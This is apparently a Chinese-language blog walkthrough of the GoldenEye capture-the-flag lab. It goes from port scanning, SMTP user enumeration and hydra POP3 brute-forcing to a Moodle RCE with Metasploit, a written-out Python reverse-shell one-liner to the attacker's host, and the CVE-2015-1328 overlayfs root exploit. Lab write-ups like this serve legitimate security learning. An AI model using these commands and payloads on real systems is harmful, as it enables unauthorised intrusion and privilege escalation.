GoldenEye

老老的(

信息收集

sudo arp-scan --interface=eth0 --localnet

主机发现

[sudo] alinna005 的密码:
Interface: eth0, type: EN10MB, MAC: 00:0c:29:0a:ab:63, IPv4: 192.168.198.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.198.1   00:50:56:c0:00:08       VMware, Inc.
192.168.198.2   00:50:56:ee:c0:ce       VMware, Inc.
192.168.198.132 00:0c:29:55:d5:1e       VMware, Inc.
192.168.198.254 00:50:56:ea:4e:2e       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.809 seconds (91.14 hosts/sec). 4 responded

nmap -p- 192.168.198.132
nmap -sS -sV -A -T5 -p- 192.168.198.132
5/tcp    open  smtp
80/tcp    open  http
55006/tcp open  unknown
55007/tcp open  unknown

  25/tcp    open  smtp     Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2018-04-24T03:22:34
|_Not valid after:  2028-04-21T03:22:34
|_ssl-date: TLS randomness does not represent time
80/tcp    open  http     Apache httpd 2.4.7 ((Ubuntu))
|_http-title: GoldenEye Primary Admin Server
|_http-server-header: Apache/2.4.7 (Ubuntu)
55006/tcp open  ssl/pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: CAPA RESP-CODES SASL(PLAIN) USER AUTH-RESP-CODE UIDL TOP PIPELINING
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after:  2028-04-23T03:23:52
55007/tcp open  pop3     Dovecot pop3d
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after:  2028-04-23T03:23:52
|_pop3-capabilities: CAPA AUTH-RESP-CODE UIDL RESP-CODES SASL(PLAIN) USER STLS TOP PIPELINING
|_ssl-date: TLS randomness does not represent time

邮件系统

Web → 获取用户信息 → 邮箱爆破 → 邮件获取凭证 → 系统登录

80扫描

gobuster dir -u http://192.168.198.132 -w /usr/share/wordlists/dirb/common.txt

[01:12:21] 403 -   286B - /.php
[01:12:21] 403 -   287B - /.php3
[01:12:33] 200 -   252B - /index.html
[01:12:40] 403 -   296B - /server-status/
[01:12:40] 403 -   295B - /server-status

image
image

var data = [
  {
    GoldenEyeText: "<span><br/>Severnaya Auxiliary Control Station<br/>****TOP SECRET ACCESS****<br/>Accessing Server Identity<br/>Server Name:....................<br/>GOLDENEYE<br/><br/>User: UNKNOWN<br/><span>Naviagate to /sev-home/ to login</span>"
  }
];

//
//Boris, make sure you update your default password. 
//My sources say MI6 maybe planning to infiltrate. 
//Be on the lookout for any suspicious network traffic....
//
//I encoded you p@ssword below...
//
//&#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;
//
//BTW Natalya says she can break your codes
//Boris,确保你更新你的默认密码。
我的情报来源说 MI6 可能正在计划渗透进来。
注意任何可疑的网络流量……

var allElements = document.getElementsByClassName("typeing");
for (var j = 0; j < allElements.length; j++) {
  var currentElementId = allElements[j].id;
  var currentElementIdContent = data[0][currentElementId];
  var element = document.getElementById(currentElementId);
  var devTypeText = currentElementIdContent;

 
  var i = 0, isTag, text;
  (function type() {
    text = devTypeText.slice(0, ++i);
    if (text === devTypeText) return;
    element.innerHTML = text + `<span class='blinker'>&#32;</span>`;
    var char = text.slice(-1);
    if (char === "<") isTag = true;
    if (char === ">") isTag = false;
    if (isTag) return type();
    setTimeout(type, 60);
  })();
}

SMTP(25端口)

SMTP支持:

VRFY

这是个重要信息。

VRFY = 验证用户是否存在

可以枚举系统用户。

例如:

nc 192.168.x.x 25

然后:

VRFY root
VRFY admin
VRFY james

如果返回:

252 2.0.0 james

说明用户存在。


自动枚举用户

使用 smtp-user-enum

smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 192.168.198.132

目标:

获取 邮箱用户名

Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... VRFY
Worker Processes ......... 5
Usernames file ........... /usr/share/wordlists/metasploit/unix_users.txt
Target count ............. 1
Username count ........... 175
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............ 

######## Scan started at Sun Mar  8 01:24:58 2026 #########
192.168.198.132: backup exists
192.168.198.132: bin exists
192.168.198.132: daemon exists
192.168.198.132: games exists
192.168.198.132: gnats exists
192.168.198.132: irc exists
192.168.198.132: libuuid exists
192.168.198.132: list exists
192.168.198.132: lp exists
192.168.198.132: mail exists
192.168.198.132: man exists
192.168.198.132: messagebus exists
192.168.198.132: news exists
192.168.198.132: nobody exists
192.168.198.132: postgres exists
192.168.198.132: proxy exists
192.168.198.132: root exists
192.168.198.132: ROOT exists
192.168.198.132: sync exists
192.168.198.132: syslog exists
192.168.198.132: uucp exists
######## Scan completed at Sun Mar  8 01:25:56 2026 #########
21 results.

175 queries in 58 seconds (3.0 queries / sec)

只获得了系统用户 没啥用其实

前面网页源码提供了用户

获得用户名:Boris、Natalya
获得密码:&#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;
Burpsuiter解密HTML:InvincibleHack3r
最终账号密码:boris/InvincibleHack3r

进苏联了(?
image

“黄金眼”是苏联的绝密武器项目。由于您拥有访问权限,您肯定拥有绝密许可并有资格成为经过认证的GoldenEye网络运营商(GNO)。请给合格的GNO主管发电子邮件,以接受在线GoldenEye运营商培训,成为GoldenEye系统的管理员。请记住,由于匿名安全性非常有效,我们已将pop3服务配置为在非常高的非默认端口上运行

POP3端口(55006 / 55007)

端口 服务 说明
55006 POP3S 加密 POP3(SSL/TLS)
55007 POP3 明文 POP3

POP3 是 收邮件服务

nmap -sS -sV -T5 -A -p55006,55007 192.168.198.132

如果你通过 SMTP 枚举到了用户,就可以:

爆破 POP3

hydra

hydra -L username.txt -P /usr/share/wordlists/fasttrack.txt 192.168.198.132 -s 55007 pop3

爆破获得

USER natalya

PASS bird+OK

└─$ nc 192.168.198.132 55007
+OK GoldenEye POP3 Electronic-Mail System
USER natalya
PASS bird+OK

+OK Logged in.
LIST
+OK 2 messages:
1 631
2 1048
.
RETR 1
RETR 2+OK 631 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id D5EDA454B1
        for <natalya>; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
Message-Id: <20180425024542.D5EDA454B1@ubuntu>
Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
From: root@ubuntu

Natalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.

Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.
.
retr2
-ERR Invalid message number: retr2
RETR 2
+OK 1048 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from root (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id 17C96454B1
        for <natalya>; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
Message-Id: <20180425031956.17C96454B1@ubuntu>
Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
From: root@ubuntu

Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)

Ok, user creds are:

username: xenia
password: RCP90rulez!

Boris verified her as a valid contractor so just create the account ok?

And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir
**Make sure to edit your host file since you usually work remote off-network....

Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.


.
第一封邮件:
娜塔莉亚,请你停止破解鲍里斯的密码。 此外,您是 GNO 培训主管。 一旦学生被指定给你,我就会给你发电子邮件。
此外,请注意可能的网络漏洞。 我们获悉,一个名为 Janus 的犯罪集团正在追捕 GoldenEye。

第二封邮件:
好的 Natalyn 我有一个新学生给你。 由于这是一个新系统,如果您看到任何配置问题,请告诉我或鲍里斯,尤其是它与安全有关的问题……即使不是,也只需以“安全”为幌子输入……它就会 轻松升级变更单:)
好的,用户信用是:
用户名:xenia
密码:RCP90rulez!
鲍里斯验证了她是一个有效的承包商,所以只需创建帐户好吗?
如果您没有外部内部域的 URL:severnaya-station.com/gnocertdir
**请务必编辑您的主机文件,因为您通常在远程离线工作....
由于您是 Linux 用户,因此只需将此服务器 IP 指向 /etc/hosts 中的 severnaya-station.com。

我们把信息提取一下。


从邮件中得到的关键信息

第二封邮件里明确给出了新的账号:

username: xenia
password: RCP90rulez!

以及一个内部网站:

severnaya-station.com/gnocertdir

并且特别提示:

Make sure to edit your host file

意思是:

需要修改 hosts 文件

因为这个域名只在 内部网络 DNS 里存在。


修改 Kali 的 hosts 文件

先把目标 IP 映射到域名。

编辑:

sudo nano /etc/hosts

在最后添加:

192.168.198.132 severnaya-station.com

保存退出。


内部网站

然后打开:

http://severnaya-station.com/gnocertdir

或者:

curl http://severnaya-station.com/gnocertdir

image

image

username: xenia
password: RCP90rulez!

这个网站通常会是一个 学习平台或内部系统

在很多 GoldenEye 环境里,这一步会进入一个由 Moodle 提供的教学系统。
image

发现邮件
image

hydra -L username.txt -P /usr/share/wordlists/fasttrack.txt 192.168.198.132 -s 55007 pop3

doak/goat

image

username: doak
password: goat

image

登录邮箱系统查看邮件

获得信息


username: dr_doak
password: 4England!

image

007,

I was able to capture this apps adm1n cr3ds through clear txt. 

Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here. 

Something juicy is located here: /dir007key/for-007.jpg

Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.

获得一个文件路径

http://severnaya-station.com/dir007key/for-007.jpg
wget http://severnaya-station.com/dir007key/for-007.jpg

image

binwalk(路由逆向分析工具)
exiftool(图虫)
strings(识别动态库版本指令)

exiftool for-007.jpg
strings for-007.jpg
用以上命令都可以查看到base64编码隐藏信息:eFdpbnRlcjE5OTV4IQ==

image

xWinter1995x!

获得admin账户

emmm

flag找不到
image

拿shell

显示版本Moodle 2.2.3

寻找cve
image

msf rce


msfconsole                        ---进入MSF框架攻击界面
search moodle                     ---查找 moodle类型 攻击的模块
use 1                            ---调用0  exploit/multi/http/moodle_cmd_exec调用攻击脚本
set username admin                ---设置用户名:admin
set password xWinter1995x!        ---设置密码:xWinter1995x!
set rhost severnaya-station.com   ---设置:rhosts severnaya-station.com
set targeturi /gnocertdir         ---设置目录: /gnocertdirMoodle 系统安装在这个目录  
set payload cmd/unix/reverse      ---设置payload:cmd/unix/reverse
set lhost 192.168.198.128           ---设置:lhost 192.168.4.231(需要本地IP)
exploit  ----执行命令

use exploit/multi/http/moodle_cmd_exec
msf exploit(moodle_cmd_exec) &gt; set rhost severnaya-station.com
msf exploit(moodle_cmd_exec) &gt; set targeturi /gnocertdir
msf exploit(moodle_cmd_exec) &gt; set username admin
msf exploit(moodle_cmd_exec) &gt; set password xWinter1995x!

image

emm继续看看

moodle_admin_shell_upload 这个 MSF 模块,依赖 PSpellShell它的原理是:利用 Moodle 的拼写检查工具 PSpellShell 来执行系统命令 → 上传后门 → 拿 Shell
image

然后重新exploit继续运行:获得shell

image

TTY

这一步:

python -c 'import pty; pty.spawn("/bin/bash")'

在渗透测试里叫 升级 shell(spawn TTY / upgrade shell)
它的作用是 把原来的“普通 shell”变成一个伪终端(TTY shell),获得更完整的交互能力。


一、为什么需要这一步

通过 **MSF 的 payload ****cmd/unix/reverse** 拿到的通常是:

非交互式 shell(dumb shell)

特点:

  • 没有终端控制
  • 无法使用很多命令
  • 输入体验很差

常见问题:

su: must be run from a terminal
sudo: no tty present

或者:

  • vim 不能用
  • nano 不能用
  • top 不能用
  • ssh 不能用
  • su root 失败

因为这些程序 必须运行在 TTY 终端中


二、TTY 是什么

TTY = Teletype Terminal

简单理解:

普通shell  = 管道执行命令
TTY shell = 真正的终端

有了 TTY 才有:

  • 输入回显
  • Ctrl+C
  • Ctrl+Z
  • Tab补全
  • 终端程序

三、python pty.spawn 做了什么

命令:

python -c 'import pty; pty.spawn("/bin/bash")'

含义:

部分 作用
python -c 直接执行 python 代码
import pty 导入伪终端模块
pty.spawn 创建伪终端
/bin/bash 启动 bash

结果:

原本的 dumb shell
↓
升级为 TTY bash shell

四、升级前后区别

升级前

$ su root
su: must be run from a terminal

升级后

$ python -c 'import pty; pty.spawn("/bin/bash")'

$ su root
Password:

成功。


五、真实渗透测试中完整升级方法

1 先spawn tty

python -c 'import pty; pty.spawn("/bin/bash")'

2 后台化

按:

Ctrl + Z

3 本地终端设置

攻击机执行:

stty raw -echo
fg

4 设置终端环境

export TERM=xterm

5 设置终端大小

stty rows 40 columns 120

最后你会得到:

一个几乎完整的远程终端

体验像:

ssh 登录服务器

六、如果目标没有 python 怎么办

还有其他方法:

方法1

script -qc /bin/bash /dev/null

方法2

/bin/sh -i

方法3

perl -e 'exec "/bin/bash";'

七、总结

这一步的核心作用:

普通 reverse shell
        ↓
python pty.spawn
        ↓
升级为 TTY shell
        ↓
可以使用 su / sudo / vim / ssh 等终端程序

python反弹shell

python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);  //创建一个 TCP 网络套接字(相当于创建一条网络通道)
s.connect(("192.168.198.128",6666));     //目标机器 主动连接 你的 Kali
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
//把 网络通道 绑定 到 系统输入 / 输出 / 错误
//简单说:
//0 = 输入(你敲命令)
//1 = 输出(目标返回结果)
//2 = 错误信息
p=subprocess.call(["/bin/sh","-i"]);'    //启动系统自带的 /bin/sh 交互 Shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.198.128",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image

监听开启成功

继续信息收集

image

flag找不到

但是版本信息有一个很经典的漏洞 脏牛提权

Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

提权

https://www.exploit-db.com/exploits/37292
原理看看https://blog.csdn.net/Shadow_DAI_990101/article/details/126694057
OverlayFS = 底层 + 上层叠合文件系统
创建文件时只检查了目录权限,没正确检查用户权限 / 命名空间
普通用户可以利用 USER_NS + 挂载 overlayfs
在上层目录创建 / 修改敏感文件 → 提权

Linux ubuntu 3.13.0-32

CVE-2015-1328

searchsploit 37292

image

143行将gcc改为cc
Ubuntu 3.13.0-32-generic默认只有 cc,没有 gcc

image

脚本目录开启服务

┌──(alinna005㉿kali)-[~/桌面]
└─$ nano ~/桌面/37292.c
                                                                                                                                                                                                                  
┌──(alinna005㉿kali)-[~/桌面]
└─$ python -m SimpleHTTPServer 8081
/usr/bin/python: No module named SimpleHTTPServer
                                                                                                                                                                                                                  
┌──(alinna005㉿kali)-[~/桌面]
└─$ python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
192.168.198.132 - - [10/Mar/2026 16:52:39] "GET /37292.c HTTP/1.1" 200 -


cc -o exp 37292.c     ---C语言的CC代码编译点c文件
chmod +x exp          ---编译成可执行文件,并赋权
./exp                 ---点杠执行

id                   ---查看目前权限

find / -name "*flag*" 2>/dev/null | grep -v proc

找到目标

image

彩蛋?

# ls -l /var/www/html/006-final/xvf7-flag/
total 804
-rwxr-xr-x 1 www-data www-data   1500 Apr 24  2018 index.css
-rwxr-xr-x 1 www-data www-data    476 Apr 24  2018 index.html
-rwxr-xr-x 1 www-data www-data    719 Apr 24  2018 index.js
-rwxr-xr-x 1 www-data www-data 806964 Apr 24  2018 key.webm

一个视频

posted @ 2026-03-11 01:06  林u  阅读(7)  评论(0)    收藏  举报